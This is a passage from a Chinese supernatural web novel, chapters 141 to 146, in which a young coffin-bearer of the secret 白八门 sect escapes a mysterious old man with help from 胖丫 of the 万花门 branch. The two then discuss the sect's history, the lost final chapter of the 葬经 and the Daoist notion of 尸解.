当我摸到伤口的时候,就感觉这是经过特殊硝制的皮子,如此一来,我就能彻底的确定,自己的判断是没错的。 我是白八门的人,对门内几个分支还算是熟悉。其中一个分支在我们门内叫做“二皮”,但是外人称呼他们,就叫“万花门”。 之所以叫万花门,是因为二皮这一支最传统的看家手艺是“万花针”。 万花门以前专门帮死者缝合尸体,尤其是那种上刑场被砍了头的。自古以来,中国人就讲究死者为大,不管对方生前是做什么的,但凡死了,就得按家属的要求,把事情替人家办好。 古代的人不管是王侯将相,还是贩夫走卒,都很在乎死后留全尸,上刑场的人被砍了头,等下葬的时候,需要把头颅和身躯重新缝合,以前民间也有别的从事这种职业的人,老百姓把他们统称为缝尸匠。 别的缝尸匠做活都比较粗糙,长针粗线,把伤口马马虎虎的缝上就算完事。而白八门的人是专门吃这碗饭的,做活细致,而且平时也多有研究,万花门的老祖宗们,就慢慢的钻研出了万花针。 万花针是一种工具,但同时也是一门手艺。缝尸体的针是特制的,和中医针灸的银针一样粗细,缝尸体的线是雪蛛线,二三十根雪蛛线,才顶的上一根头发丝儿。 三根雪蛛线拧到一起,再串到针上,缝合的时候用的是万花藏针法,线缝在皮肉里头,从外面看不出来。再加上针线都非常细,所以缝合了之后,不仔细分辨,就看不出这是个被砍过头的人。 可以说,这是万花门独一无二的绝技,别的任何人都伪造不出。只要看到这种针线和缝合的手法,就知道肯定是万花门的。 后来,随着时间的变迁,万花门的这手艺始终代代相传,不过,在江湖里混的久了,万花门也搞了一些别的名堂,他们能用特殊手段硝制的皮子,缝成一个假人,虽然是假人,却可以乱真。 缝好的假人,有各种各样的用途,倒退个一二百年,万花门的故事,也曾经是奇闻。 我仔细的分辨着胖丫留下的身躯,片刻之间就完全明白了。这具身躯就是缝出来的假人,真人藏在里面,谁也看不出来,假人不但能遮挡自己的真面目,还能作为一种保护。 就像今天这种情况,胖丫直接来了个金蝉脱壳,只留下这具躯壳,真身早就跑的无影无踪了。 一想起这些,我心头的火气就噌噌的朝上冒,我也算是在外面混过几年的人了,但今天还是被胖丫给摆了一道。 据我所知,万花门的手艺一般是不会外传的,尤其是代代传承的万花针,虽然万花针不算是什么独树一帜的妙术,但终究是一种道统的象征。 因此,那个胖丫很可能就是万花门的人。 这有点意外,从古到今,整个白八门的历史上也没有几个女性的门人。 我想到这里,偷偷抬眼看了看老杂毛,老杂毛低着头,没有说话,脑袋上几缕稀稀拉拉的头发耷拉下来,显得很滑稽可笑。 可我心里清楚,这老东西绝非泛泛之辈。我涂抹在眼皮上的东西早就干了,不过,多少还残留了一些气息,当我望向老杂毛的时候,隐隐约约,还能看到他背上那只狐狸。 老杂毛背上的那只狐狸,已经跟老杂毛连为了一体,他们相辅相成,互惠互利,老杂毛能活这么久,跟那只狐狸肯定脱不开干系。 “你是白八门的人?” 我正在思索,老杂毛抬头就问了一句,他的嗓音低沉,而且目光又有点吓人,仿佛让人一看到他的眼睛,就不敢撒谎。 “什么……什么白八门?” “你不是白八门的人,身上怎么会带着这东西。” 老杂毛说话之间,伸手朝我的脖子上指了指。我一听,头就大了,我脖子上还带着师傅那只镇棺铃,这只小铃铛,外人看不出来,但白八门的人,肯定是能认出的。 我就觉得自己太大意,这只小铃铛得摘下来,不然的话,遇见懂行的人,自己的身份就隐瞒不住了。 “这东西……是我捡来的……”我不想承认自己的身份,同时还在暗中观察这间小屋子的情况,看看能不能想办法从这里脱身。 老杂毛不是一般人,我并不觉得自己的谎话能骗过他,但是,老杂毛听完我的话,竟然非常的镇定,既没有说不相信,也没有追问我。 我的胆子稍稍大了一点,想从地上爬起来,活动活动手脚,我的后背还是很疼,不过骨头应该没受伤,休息一段时间,应该能缓过这股劲。 然而,当我站起来的那一瞬间,突然觉得一阵头晕,而且,头顶上好像被电钻给钻了一下,疼的我眼冒金星。 我以前从来都没有头疼的毛病,这时候却猛的感觉脑袋像是要从头顶裂开了一样,不由自主的伸出手,朝着头上摸了摸。 这一摸不要紧,整个人顿时就傻了。我的头上垫着一小块布,这个那层布轻轻一按,就觉得头顶有一小块骨头好像是松动的。 人的头骨是全身上下最坚硬的骨头,就算被砸一下,都不一定能砸裂,可我就是因为后背遭到重击昏迷了过去,脑袋上的骨头,怎么会松动? 我的心慌了,急忙又伸手按了一下,这一次用的力气大了点,指头碰到那块松动的头骨时,一阵剧烈的疼痛,像是电流一样蔓延到了全身。 我忍不住倒抽了一口凉气,又抬头看了看一旁的老杂毛,老杂毛还是保持着很镇定的表情,可我心里随即就涌上来一个非常可怕的念头。 就在我昏迷期间,这个老杂毛好像拿掉了我头上的一块骨头,然后又原封不动的重新放了回去。 第141章 左右无门 当我产生了这个想法之后,一下子就慌了。人脑袋上的骨头被撬开一块,然后又原封不动的安回去,这意味着什么?这意味着对方对我做了什么手脚? 下意识的,我就感觉脑袋疼,尤其是伤口那块儿,好像随时都会从中间崩裂。 “你……你想干什么!”我心里一急,忍不住就脱口问了老杂毛一句。 “我看看。” “你看什么?” “看看你的脑袋里,有什么东西。” 我心中的惊恐,顿时达到了顶点,我突然觉得自己就好像一只小白鼠,被人抓住之后,在我身上做试验。试验的结果是什么,估计连做实验的人都预料不到。 如果真是这样的话,即便这一次我不死,以后不知道还要承受怎么样的后果。 与此同时,我心里又冒出了更多的想法。我觉得,石头提供了邪神庙这个地名,应该不是坑我的,只不过现在事情脱出了自己的掌控,掉入了一个非常被动的局面,我暂时摈弃了其他的念头,只想着如何脱困。 从这里逃出去,至少还能保住一条命,还有机会卷土重来,被困在这儿出不去,结果就更糟了。 但这绝对不是简单的事,老杂毛的身份来历,我不清楚,但他的手段绝对比我强的多,既然被困住了,我还能逃走? 现在唯一能指望的就是胖丫了,一想起她,我的心就凉了半截,胖丫看上去不是个讲究人,否则的话,之前也不会自己金蝉脱壳逃跑了,把我一个人丢在这儿。 眼下谁都指望不上,前路未卜。 我不由自主的又摸了摸自己的脑袋,除了那一小块被撬开又填回去的骨头会疼痛,脑袋里面暂时没有什么不适的反应。 “你放心,死不了。” “说的轻巧!”我对老杂毛已经没有任何的好感,邪神庙这个地方的东西,都是残酷阴邪的,老杂毛盘踞在这里,他的为人秉性,可想而知。 “你安心在这里呆一段时间,我保证你平安无事。” “你究竟想干什么!?”我本来还打算套一套话,试探一下这个老杂毛认识不认识石头。但此时此刻,我已经打消了这个念头,老杂毛还不知道石头的下落,要是我多嘴去问,没准会把石头也给暴露出来。 “不干什么,你是白八门的人,我又能干什么?你只管……” 老杂毛说到这里的时候,突然就闭上了嘴巴,我以为他察觉到了什么动静,但这个小屋子里里外外静的针落可闻,什么都听不到。 老杂毛一直都很沉默,皱巴巴的脸庞上也没有任何表情,只不过这时候他明显有点不对劲,脸颊的肌肉轻轻抽搐了两下,一转身就出了小屋。 我能听到门锁被锁上的声音,急忙爬到门边,透过很狭窄的门缝朝外面望去。 “你锁门干什么!放我出去!” “你在这里呆着……不会……不会有事……” 老杂毛似乎有什么急事,匆匆交代了一句,转身就走。 他这么一动,我就觉得,这老东西的姿势有些奇怪,老杂毛背上的那只狐狸,平时是看不到的,我现在也只能隐约看到一个非常淡薄的轮廓。 他背上那只狐狸,似乎也在左右的扭曲,再加上老杂毛这时候的东西,就让人感觉他好像非常难受。 老杂毛走出去最多有五六米远,一条腿好像骤然发软,一下子扑倒在地。他在地面上慢慢打了个滚儿,四肢身躯完全蜷缩到一块儿,脸上的表情已经痛苦的难以承受。 但是老杂毛的骨头倒是很硬,估计也不想让我看见他此刻的样子,挣扎着继续朝前爬,很快,老杂毛的身影就消失在我的视线中。 我使劲推了推门,这道门看着很简陋,其实非常结实,门外头上了锁,从里面几乎就没有打开的可能。 小屋很小,除了这道门,连窗户都没有。 我焦躁的在屋里走来走去,这个老杂毛应该不是察觉到了什么外来的动静,而是自己身上出了问题。 一个人的生老病死,都是自然法则,都是不可逾越的规律,如果真要用什么乱七八糟的手段来打破这个规律,必然会受到很严重的惩罚。 老杂毛不可能活那么多年,他就是靠着和背上那只狐狸相辅相成,才苟延残喘到了现在,但是我相信,老杂毛的长寿是有代价的。 我来来回回走了很多圈,然后就强迫自己镇定下来,现在只能想法子逃走,老杂毛不在,我行动还方便一些,贴着小屋的墙角,把每一个犄角旮旯都仔细的检查了一遍,看看有没有什么空档可钻。 谁知道,小屋也和那道门一样,非常的结实,没有任何中空或者要塌陷的迹象,靠着我的力量,无法在墙壁上掏个窟窿钻出去。 我重新来到那道门跟前,心里愈发的急躁。老杂毛现在估计是最脆弱的时候,要是不趁着这个机会溜走,后面再想逃跑就更难了。 我用尽全身上下的力气推动屋门,屋门的门板恨不得有一巴掌厚,这也不是正常的力量所能撼动的,前前后后尝试了至少有十几分钟,实在没有办法了,我心底的焦躁顿时就无法控制,抬腿朝门上踹了一脚。 门不可能就这么被踹开,可我心里又不甘心,哐当哐当又踹了几脚。 “别出声……” 就在这时候,我突然听到了一阵蚊子哼哼般的声音,从门外传了进来。 这声音虽然很轻,我却清楚的听到了。 我急忙趴到门缝处,朝外看了看。 外面不知道什么时候出现了一个穿着黑衣服的人,那人看起来是个年轻小伙子,估计和我的岁数差不多,细皮嫩/肉的。 我没有见过这个人,从来都没见过。 “我来救你,你千万别出声……” 这个人又轻轻冲着门缝这边说了一句,当他的声音又一次落入耳中的时候,我觉得有点奇怪。 这人的声音有点粗,但是说话的语气,还有那个调调儿,跟胖丫毫无区别。 第142章 去而复返 一听到这声音,我大概就猜出来了,之前跟胖丫一起携手战斗,他都躲在外面的皮壳里,始终没有露出真面目,现在胖丫去而复返,必然要现出真身。 我先前已经把胖丫的祖宗十八代问候了十几遍,这时候看到他又返回来救我,立刻就觉得非常羞愧,看起来,胖丫也不是那种无情无义的人。 “胖丫……” “唉……等下我放你出来再给磕三个头行不行?我都说了几遍了,我不叫胖丫,你没看出来,我是个爷们儿?” “叫习惯了。” “先别啰嗦了,赶紧走,那老东西要是发现了,咱们还会有麻烦。” 小屋外面的门锁,是那种比较老式的锁,笨重又结实。胖丫观察了一下,然后手掌一翻,手心就多了一卷很细很细的钢丝。 万花门的人,一直都以巧技而闻名,胖丫虽然是个年轻小伙子,但那双手却洁白如玉,手指头又长又细,灵动之极。 胖丫拿着钢丝,在锁眼里慢慢的转动,不到半分钟,这把沉重又结实的锁就啪嗒一声被打开了。 胖丫随手打开屋门,二话不说,拽着我就跑。 此时此刻,我们还置身在小破庙里,老杂毛估计的确正在最脆弱的时候,不知道躲到什么地方去了。胖丫带着我,想要直接翻过北墙。 到了墙根下头,胖丫一伸手,就猛然弯了弯腰,眉头紧皱。我知道,他之前跟老杂毛游斗的时候受了伤,这么短的时间里,肯定无法痊愈。 “你咋样?能过去不?” “就这么一堵墙,还能挡得住我?你顾着你自己就是了。” 我后背上面被撞到的地方虽然还是很疼,但是没有伤到筋骨,忍一忍还能熬得过去。只是头顶那块松动的骨头,却不是那么好熬的,正常的走路或者小跑,还没太大问题,动作一旦大了,仍然会觉得整个脑袋好像随时会裂开。 我和胖丫一起爬上墙头,然后跳了下去,落地的时候,或许是震到了头上的伤口,脑袋猛然一疼,我忍不住就蹲下来捂住了头。 “你怎么了?” “头上有伤……” “我看看。” “胖丫,先走了再说吧。” “我是个老爷们儿,你怎么一口一个胖丫的?” “我不知道怎么称呼你……” “你别动,我看一下。” 胖丫拿开我的手,把脑袋上包着的那一小块布拿掉,他的眼神很好,很快就辨认出,我的头骨被人动过。 胖丫吃了一惊,还要再看,我心里却已经怕了,唯恐老杂毛会突然出现。 在我的强烈要求下,胖丫也只能暂时停下手,两个人一起朝远处跑,邪神庙周围的地形,我们之前都各自勘察过,现在轻车熟路,一口气就跑出很远。 我的脑袋不好受,胖丫身上的伤似乎也有点重,跑了差不多半个多小时,两个人的体力就有点跟不上,附近虽然没有什么植被,但地势崎岖坎坷,想找个藏身的地方,还是很容易的。 我们俩找了个隐蔽处,躲起来恢复体力,等一静下来,我看着胖丫的状态,就觉得不太好。 这一瞬间,我心里有点感动,胖丫的伤应该不轻,但他还是没自己跑,在寻找机会救我。 “你是万花门的?” 胖丫估计知道,我从那具皮囊里已经看出了端倪,他也不隐瞒,瞥了我一眼,说道:“你不也是白杠子?说起来,都是白八门的人,要不然我脑子生锈了?再冒险跑回来救你?” “你怎么知道我是白杠子……” 这句话刚一说完,我不由自主的就低头看了看自己脖子上挂着的那只小铃铛。老杂毛和胖丫,应该都是从这只铃铛上辨别出我的身份的。 我下意识的就捏住了铃铛,趁着胖丫不注意,直接摘了下来,这东西不能再带在身上了,太容易暴露身份。 “咱们俩也算是同生共死过了,问你一句,你到邪神庙来,究竟要干什么?” “你呢?”胖丫看起来还是一点亏都不能吃,我一问他,他就反过来问我。 “我和你说了,你又不信,我真的是受人之托,我有个朋友,脑袋上被人钉了颗钉子,已经人事不省了,模模糊糊的说出了写神庙这三个字,要不然的话,我都不知道还有这个地方。” “好吧,我信你一次。” “现在该你回答我了,你到邪神庙来干啥?” 胖丫没有马上回答我,自己想了想,估计是在考虑,该不该跟我说实话。 “你也说了,咱们都是白八门的人,既然是一家人,有啥不能说的?” “你倒是挺会说的。没错,不管是你们白杠子,还是我们万花门,归根结底都是白八门的,可我想告诉你一句,有时候一家人,也会反目成仇的,这年头,谁又能信得过谁?” “你这话啥意思?” “这话不是冲着你来的,你这个人,倒是挺厚道,否则,我也不会回来救你。至于邪神庙嘛……你是白八门的人,以前没有听说过邪神庙?” “真的没听说过。” 胖丫这个人其实心很细,每说一句话,都会暗中观察一下我的神色,判断我有没有说谎。我和他认识的时间毕竟太短了,即便同生共死,他也没有彻底的信任我。 想到这里,我倒是有点惭愧,我和他岁数差不多,但是论手段,论阅历,他都比我强了一截子。 “胖丫,我也不勉强你,你要是能说就说说,真有难言之隐的话,那就别说了。” “哟,你还跟我使性子呢?这倒没有什么能说不能说的。”胖丫回头朝邪神庙的方向望了望,说道:“这个小破庙,其实和白八门很有渊源。” “跟白八门能有什么渊源?” “你没听说过邪神庙,那白八门的事情,你总该知道吧?” “知道一些。” “我也不知道该怎么和你说,要把邪神庙这个事说清楚,就得扯到很久以前了。” “没事,现在闲着也是闲着,你就当个故事跟我说说吧。” 第143章 头上的洞 胖丫对白八门的事情门儿清,有的事我是知道的,只不过也没有打断他,耐心的在听。 白八门从久远之前传承到现在,中间有几个比较大的变动期。就是在这些变动中,除了俗称的四大宗之外,又产生了一些旁支别派。有的分支保留到了今天,有的已经在历史的长河中烟消云散了。 在白八门早期,门徒们基本还能保证齐心协力,听从号令,到了后来,门人越来越多,各个派系之间因为利益纷争,公私恩怨,产生了很多矛盾。 这些矛盾演变成冲突,相互争斗,乱成了一锅粥。当年方相门的宗师宋连子在世的时候,因为本事大,威望高,再加上祖师爷的嫡系子孙和宋连子的关系很好,所以他们一联手,基本上还可以控制局面。 那也是白八门最后一个兴盛的时期。 宋连子死了之后,发生了一系列的事件,那些往事很多都已经湮灭真相,没人知道具体的细节了。但这一系列的事件导致白八门重新分崩离析,最开始的时候,祖师爷的嫡系子孙,也就是郭家的后人,还想靠着祖先的名望,把白八门重新整合起来。 但对当时的门徒来说,祖师爷都是陈年旧历了,白八门的人可以供着郭家的人,不过绝对不可能让郭家高高在上的发号施令。 因为这些,郭家和白八门的几个分支之间明争暗斗,今天联手这个打压那个,明天又联手那个打压这个,矛盾越来越深。 随后,白八门就发生了一些见不得光的丢人事。具体的情况也没人说得清楚,只知道是几个分支的人暗中串连,跟郭家爆发了一次决战。 那一次,双方的死伤都很严重,郭家虽然是祖师爷嫡传,但人数少,吃了大亏。当时主持这件事的几个分支首脑,害怕郭家人逃脱之后,再卷土重来找自己算账,所以全力的搜捕郭家人,想要一网打尽。 无奈之下,郭家的幸存者只能隐姓埋名,背井离乡。 有的事,当时的人不太清楚,是后来才慢慢流传出来的。那时候的郭家人无处藏身,逃到了南方,慢慢的收拢旧部,积蓄力量。他们平时一直都藏身在五通庙里,后来,干脆就把五通庙当成了联络的窝点。 所以,说起邪神庙,外人都觉得是五通庙,但在一些白八门的人眼里,邪神庙实则代指的是郭家的人。 “你的意思是?那个老杂毛是郭家的?” “不一定,反正我看着不像。郭家的人没有那么邪门,那个老杂毛肯定跟郭家不是一路的。” “那你到邪神庙,是来找人的,还是找东西的?” “找点东西。” “找……” 我刚想继续问问胖丫,他究竟要找什么东西,陡然间,我的脖子突然就感觉一阵被割裂一般的疼痛。 这是脖子上红印发作的前兆,以前已经遇见过不止一次了,这玩意儿很要命,每次要发作,基本上无法提前察觉,等到能察觉的时候,已经迟了。 就那么短短几秒钟的时间,我就能感觉脖子上的红印渗出了一片血迹,脖子真的像是被一把刀给割破了,那种疼痛,还不是单纯的疼,里面夹杂着一种无法形容又让人难以忍受的感觉。 我不由自主的伸手捂着脖子,血迹很快就从指缝里渗了出来。 我以前遇到过这种情况,虽然非常难受,但咬着牙硬挺,还能挺过去。 然而这一次却和之前不同,脖子上的剧痛似乎很快就蔓延到了脑袋上。脑袋上那块松动的头骨,一下子像是要跳脱出来似的,整个头部一瞬间如同充血了一样。 这种感觉连忍都忍不住,我不由自主的歪倒在地,一手捂着脖子,一手捂着脑袋。 “你怎么了?脖子上怎么……怎么流血了?” 我已经答不上话了,而且,这一次发作的状况,真的和过去有很大的区别,我怀疑还是因为脑袋上的骨头被人动过。以前发作时,就算再难受,我都可以保持清醒的思维,脑子里清清楚楚的知道自己是谁,自己在什么地方。 可是这一次只发作了那么一两分钟,我整个人就开始昏沉了,脑袋沉甸甸的,眼前的景象忽远忽近,胖丫距离我连一米都不到,可是我看着他的脸,就觉得他的脸庞表面漂浮着一层白白的烟雾。 我真的是忍不住了,一个劲儿的在地上打滚,胖丫不知道这是怎么回事,匆忙的询问。我模模糊糊的看到,他在问我,但是我的耳朵似乎不管用了,胖丫说出来的话,我一个字都听不到。 脑袋里的眩晕感,越来越剧烈,过了不知道多长时间,我真的感觉脑袋像是突然嘭的一下爆开了。 我像是被一股极大的力量直接甩到了半空中,身躯轻飘飘的,在上方缓缓的飘浮着。 眼前的景象,变的像是海市蜃楼一般,近在眼前,却又虚无缥缈。 我看见自己突然一抬手,就把脑袋给摘了下来,双手捧在怀里。脑袋上那块松动的骨头,顿时就嘭的一下弹了起来。 这块松动的骨头,只有半块饼干大小,松动的骨头掉了,但是,骨头下面看不见白/花花的脑子,只有一个深不见底的洞。 就在这一刻,我的内心最深处,好像骤然间出现了一丝清醒的意识。 我觉得,自己完全就被自己脑袋上那个洞给吸引了。老杂毛说过,他把我脑袋上的骨头弄掉一块,就是为了看看,我的脑袋里有什么。 当时听着这些话,就觉得老杂毛满嘴跑火车,可是到了现在,我自己也鬼使神差一般的在苦苦的思索,我的脑袋里究竟有什么? 第144章 交流信息 这个问题,我肯定找不到答案,脑子里虽然还有一丝清醒,但很快就被剧烈的疼痛给淹没了。 不过,脖子上的红印每次发作的很猛,持续的时间也不会太长,可能过了几分钟之后,痛感就渐渐消失。 被折腾了这么几分钟时间,我就好像经历了一场生死搏斗,浑身上下都是汗水,躺在地上大口大口的喘气。 “你这是怎么回事?”胖丫一直到这时候才伸手扶住我,上下打量了一眼:“你脖子上也有伤?” “这不是伤。”我苦涩的摇了摇头,脖子上的红印,就如同一道催命符,又像是悬在头顶的一把剑,随时都会落下来要了我的命。 “不是伤,那怎么会流血?” 我暗中考虑了一下,不管从哪个方面去想,胖丫至少不是我的敌人,他也是白八门的人,跟他交流一下,说不准就会有什么收获。所以我也没有刻意的隐瞒,把脖子上的红印大概跟他讲了讲。 遗憾的是,胖丫对这件事一无所知,在此之前,连听都没听说过。 “反正事情已经这样了,一时半会也好不了,你刚才讲的事儿还没讲完,接着讲吧。” 我现在只想弄清楚更多的情况,缓过这股劲之后,就让胖丫接着往下讲。 “刚才……刚才讲到哪儿了?” “我刚才问你,到邪神庙来干什么,你说来找东西。” “对,找东西。”胖丫又犹豫了一下,仿佛下了很大的决心,尽管周围没有人,但她还是压低了声音,问道:“你知道葬经的终篇吗?” “听说过,但是没有见过。” “不奇怪,从来都没人见过完整的葬经终篇。” 葬经终篇的事,我以前就听说了,但具体的细节,至今还是模糊一团。在我看来,人要是拼命去做一件事,那么一定能从这件事里获取很大的利益。 关于葬经终篇的传闻,林林总总,众说纷纭。其中传的最广的,也就那么几种。 第一种传闻,说的是祖师爷当年声名赫赫,不少达官贵人都曾找他办过事,祖师爷也因此获取了丰厚的报酬,像祖师爷那种人,对钱财是没有太大兴趣的,所以他收取的都是一些天灵地宝级别的好东西。祖师爷驾鹤西游之后,这些东西的下落就此断绝。这些东西算是一个宝藏,而宝藏的具体所在,就隐藏在葬经的终篇里。 第二种说法,说的是祖师爷当时的境界,已经达到了相当的高度,而他的子孙包括门徒在内,没有一个人能够真正理解领会这些,所以,祖师爷把毕生所学的精华,都全数记录在了葬经最后一篇里。 除此之外,还有第三种说法,祖师爷是把古代丧葬文化发展到极致的人,同时也是古往今来屈指可数的几位风水宗师之一,在葬经的终篇里,隐藏着天下唯一一处风水宝地“皇龙晕”的具体位置。 葬经的终篇究竟隐藏着什么,其实没有谁能真正说的明白,但可以肯定的是,只要能找到完整的终篇,一定是有天大的好处的。 白八门历史上的内斗,很大程度都是因为葬经而起,门内几个重要的分支以及郭家的手里,都有一部分终篇。人人都想把别人手里的终篇残章给弄到手,没有通融妥协的余地。 后来,郭家的人觉得自己是祖师爷嫡系,白八门大大小小的分支,都应该听从号令,从而激起众怒。郭家经历了一次灭顶之灾,跟白八门的梁子已经无法化解。从那时候开始,代表郭家的邪神庙,和白八门的争斗就没有停止过。 只不过到了这些年,受限于大环境,他们不敢明着斗的那么凶,而且,邪神庙这个招牌太扎眼,郭家的行踪就越来越隐秘。 当胖丫说到这里的时候,我大概知道了他的来意。十里沟的邪神庙,肯定也是以前郭家的一个窝点,胖丫到这儿来,应该是为了葬经的终篇。 “胖丫,咱们俩虽然萍水相逢,但我看得出来,你是个重情义的讲究人。” “你别给我戴高帽,平白无故的说人好话,非奸即盗。” “肺腑之言,我从来不撒谎的,胖丫,相信我。” “你想说啥?”胖丫立刻就警惕了,瞥了我一眼:“我可不吃那一套。” “我没别的意思,我是觉得,咱们有共同的目标,所以可以多交流交流。胖丫,你和我说说,葬经的终篇,到底隐藏着啥?” “少来!我就知道你没安好心。” “我就是问句话而已,跟安没安好心有啥关系?你自己想想吧,我是孤身一人,你也是孤身一人,咱们多沟通一下,相互交流交流信息,肯定胜算更大,邪神庙那个老杂毛不好对付,咱们俩应该精诚团结。我跟你保证,我就是询问,不会打什么坏主意。” “我不知道。” “你要真不知道,我也不会勉强你,说真的……”我靠在石头上,微微叹了口气,此时此刻,我的语气和表情倒真不是伪装出来的,脖子上的红印,给我带来的心理压力特别大:“我为了保命,之前东奔西走了一段时间,现在搜集到的线索太少,我就是自己判断分析,觉得化解危机的契机,是在葬经的终篇里,要不然,我冒险跑来跑去的干什么?” 我这些话说出来,胖丫就暂时不回答了,他应该是在思考。我并没有撒谎,脖子上的红印刚才发作的时候,胖丫是亲眼目睹的。 “既然你这么说了,那咱们就交流一下,我自己觉得,你脖子上的事,跟葬经的终篇,应该关系不是太大。” “关系大不大,那也要说了才知道。” “你脖子上挂的那只铃铛,你收起来了?”胖丫眨了眨眼,突然就转移了话题:“白杠子的镇棺铃,那是梁家的东西,你也姓梁?” “不是,我姓张。”我从口袋里取出镇棺铃,说道:“这是我师傅的东西。” 白八门里的四大宗,并不是一家人,但每个大宗里,都有一家是核心的力量,比如方相门,出了一个大师宋连子,从那时候开始,宋家就是方相门的正宗嫡传。 而白八门的抬棺匠,核心家族就是梁家。师傅这辈子没有成家,无儿无女,我是他的徒弟,其实也就算是抬棺匠的嫡传。 “白杠子的梁家,是梁勇在当家做主的,你师傅是梁勇。” “对。” “你师傅是不是死了?” “是,已经去世三年多了。” “你师傅临死前,发生过什么事,你和我说一下,说仔细点,任何细节都别遗漏。” 第145章 师门往事(1) 师傅的死讯,当时的确传了出去,不过传的并不广,胖丫一定是白八门的,否则他应该不会知道这些。 关于师傅的死,我其实不想提起,一来是会影响自己的情绪,二来,这其实也是一个秘密,外人最多只知道师傅死了,却不知道师傅死亡前后的一些细节。 胖丫问起这些,应该是想从细节里判断情况,我左思右想,觉得不能瞒他。胖丫这人其实挺仔细的,现在我好容易找到一个知道部分内幕的人,要是错过了,不定什么时候才能再遇到。 我把师傅死亡前后的事情,和胖丫讲了一遍。但这事情其实是一个连环套,一环套着一环,说到师傅的死,就必不可免的要提及王川山。 就这么一来二去,我就跟胖丫讲了很多情况。 胖丫听完之后,低头不语,过了一会儿,他说道:“这地方距离邪神庙还是太近了,咱们再朝外面走走,离邪神庙远点。” “胖丫,这是啥意思,我该说的都说了,你想反悔?” “不是反悔,先保证安全。” 胖丫不由分说,站起来就走,我就害怕他抵赖,急忙跟在身后。我们俩身上都有伤,但总体来说还是胖丫的情况稍好一点,他的脚步越来越快,我跟了一会儿,体力是能坚持,可脑袋上的缺口却很要命,走的快一些,就会感觉那块松动的骨头会掉下来。 胖丫还算是体谅我,放慢了一点速度,我们俩就这样又走了很久,渐渐的,走到了那个被废弃的破矸石窑。 我在矸石窑这里被那个中年人纠缠过,心里就有点发憷,不过,问生死的怨灵不可能成群结队的呆在一个地方,中年人消散了,这里应该就是安全的。 “好了,咱们在这里休息休息。” “你可别耍我。”我心里有点紧张,我的阅历和经验,的确比不上胖丫,他要是这时候真耍赖,我的确没什么别的办法。 “我不是那种人,只不过情况有点复杂,我刚才是自己先理一理思路。” 我们俩就在矸石窑旁边一个隐蔽的地方坐下来,胖丫又想了一会儿,说道:“你跟我讲的你师傅的事,倒真的给我帮了个忙,我之前一直不能确定,通过你师傅的死,似乎是有了答案了。” “什么意思?” “你以前听你师傅说过尸解吗?” “尸解?” 我低头想了一下,师傅没和我说过这些,我以前接触过一些巫婆神汉之类的人,对方似乎是隐约提过,但我过去对那种神神鬼鬼的事情不太上心。 所谓的尸解,是道家的一种以凡俗成仙的方式。简单直白些说,尸解成仙的人,死去之后尸体会消失的无影无踪,只剩下/部分随身的衣物和物品。 这东西盛行于先秦两汉,史籍里有过很多记载,到了两汉以后,尸解的记录就渐渐变少,隋唐时期几乎绝迹。有一种说法是,因为后世的人无法再达到那种精神境界,所以无法尸解,也有一种说法是关于尸解的要义和法门,在漫长的岁月中失传了。 尸解是个笼统的称呼,如果细分的话,还可以分为水解,火解,兵解,杖解等等。 对于我来说,这东西太过遥远而且太过高深,我不可能理解。 更重要的是,尸解这个说法,虽然常见于先秦两汉时期的典籍里,但是不是确有其事,谁也不敢完全保证,胖丫在这时候突然提到了这个,就让我有些费解。 “我师傅……应该和这个没有关系。”我轻轻摇了摇头,一想起师傅,心中的情绪顿时变的复杂起来。 我跟着师傅学艺的会后,年龄还小,可以说,师傅那人是我师傅,但跟爹娘也差不多,除了教我本门的手艺,还要负责我的生活,以及做人的道理。 我和师傅的感情很深,可是随着自己陷入这件事,又断断续续得知曾经发生在王川山小荒村的惨案之后,我的内心深处,其实已经有了细微的变化。 无论任何人,能把一个村子二十多口人灭口,心肠都不是一般的歹毒。 “你师傅和这个,我觉得是有关系的。” “师傅死的时候,我亲眼看见的,还给他下葬,师傅的尸体……尸体还在。” “就因为他的目的没有达到,所以尸体才会留下来。” “胖丫,有什么话,你直说吧,我这会儿脑袋有点疼,来不及想那么细。” 白八门四大宗的嫡传子弟,其实都应该从父辈那里得到过很多白八门的隐秘。那些隐秘和内情一代传一代,始终没有断绝过。 可能我是唯一一个例外,师傅该教我的本事全都教了,也跟我讲过不少事情,但那些事,都是和民间传说一样的老故事,真正关于核心的问题,他真没说过多少。 因此,到了现在为止,我对白八门的往事,知道的也不算多。 祖师爷中年的时候,一直都在精研风水,一生的成就,基本上就是在那个时期出现的,到了晚年,祖师爷就不太对风水之类的东西上心了,转而开始钻研道典。 在祖师爷去世之前的那两年,经常会跟自己的子孙和弟子们说一些心得,那些门徒只是学白八门里面的手艺,谁也没有跟着祖师爷一起打坐炼丹,所以,祖师爷说的一些话,门徒是理解不了的。 到了祖师爷去世前的几个月,他好像下了很大的决心,把自己之前编撰的葬经又重新整理了一遍,然后拿给自己的门徒看。葬经这本书,门徒基本上都能倒背如流,但是这一次,他们发现,葬经突然又多了一篇。 这些门徒把新编撰的葬经各自抄写了一遍,可是过了两天,祖师爷突然又让他们把抄好的葬经全都交了上去。 在这些人把葬经交上去的时候,祖师爷还说过一句话,他说,葬经终篇里的那些东西,本就不该存在于世间。 第146章 师门往事(2) 当时,谁也不清楚祖师爷说的这些话是什么意思,各人都把自己抄写下来的葬经给交了回去。 这里面只有一个姓梁的小徒弟,名字叫梁初,当时只有十几岁,他的年纪小,其实没有太多心眼,只是觉得,祖师爷留下的东西肯定是好的。这个梁初的记性特别好,抄下葬经的终篇之后,他苦读了几遍,把其中的内容都给记了下来。 这件事过去不久,祖师爷就过世了。 祖师爷过世之后,各地的弟子,加上信徒,纷纷赶来,举行了一场很盛/大的葬礼。当时的人都觉得,祖师爷肯定是驾鹤西游了。 但只有白八门里几个大宗的首脑人物才清楚,事情没这么简单。 祖师爷过世的时候,在身边侍奉的,是他的儿子,外加几个年长的弟子。祖师爷过世当晚,把人都赶了出去,叫他们在外面等着。这帮人就老老实实的在外面等,足足等了一夜。 第二天,祖师爷的儿子觉得事情不太对,就壮着胆子敲门,屋里一直没有传来回应,等打开房门之后,祖师爷已经无影无踪,只在床榻上留下了两件衣服。 众人都能看得出,这两件衣服,是祖师爷昨天随身穿的,衣服还在,人却没了,一时间谁也搞不懂这是怎么回事。 这帮人昨晚整整守了一夜,祖师爷肯定没有离开过,他们面面相觑,过了片刻才开始认真琢磨这件事。 这个事从正常角度,是找不到任何解释的,最后,就有人想到了尸解。 尸解这个观点一出现,随后就渐渐得到了众人的认可,因为种种迹象再加上祖师爷晚年研读道典的经历,无疑就让尸解成为了最合理的解释。 